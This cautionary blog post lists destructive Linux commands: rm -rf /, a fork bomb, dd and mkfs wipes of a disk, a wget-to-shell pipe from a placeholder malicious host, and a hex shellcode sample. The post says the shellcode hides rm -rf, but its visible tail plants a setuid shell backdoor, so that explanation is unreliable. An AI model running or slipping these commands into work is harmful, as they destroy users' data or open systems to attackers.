Home
Unlabelled
Dangerous Linux Commands
Dangerous Linux Commands
Dangerous Linux Commands
Linux command line is productive, useful and interesting but sometimes it may can very dangerous -especially when you are not sure what you are doing. For some CLI commands …you might wanna check that syntax again… just in case… before you hit ENTER.
rm -rf Command
The rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with rm command are.
- rm command in Linux is used to delete files.
- rm -r command deletes the folder recursively, even the empty folder.
- rm -f command removes ‘Read only File’ without asking.
- rm -rf / : Force deletion of everything in root directory.
- rm -rf * : Force deletion of everything in current directory/working directory.
- rm -rf . : Force deletion of current folder and sub folders.
Hence, be careful when you are executing rm -rf command. To overcome accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion.
:(){:|:&};: Command
This command is actually a fork bomb. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
:(){:|:&};:
command > /dev/sda
The above example writes the output of ‘command‘ on the block /dev/sda. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.
mv folder /dev/null
The mv command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed.
# mv /home/user/* /dev/null
The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to blackhole (null).
wget http://malicious_source -O- | sh
This wget example will download a script from a malicious source and then execute it.
mkfs.ext3 /dev/sda
The example will format the ‘sda’. After execution of the above command your Hard Disk Drive would be marked as ‘NEW’, You would be left without any data and in unrecoverable system stage.
> file
This command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” it would ‘flush’ a configuration file or any other system file.
^foo^bar
This command is used to edit the previous run command without the need of retyping the whole command again. This can really be really dangerous.
dd if=/dev/random of=/dev/sda
This dd will wipe out the block device sda and write random junk. Your system would be left at inconsistent and unrecoverable stage.
Hidden Command
The command bellow is nothing more than a rm -rf. Here, the command is hidden in in hex and the user may be fooled into running it. Running this code will wipe your root partition. This command here shows that the threat may be hidden and not normally detectable sometimes.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
RATE HERE
Dangerous Linux Commands
Reviewed by 0x000216
on
Monday, September 18, 2017
Rating: 5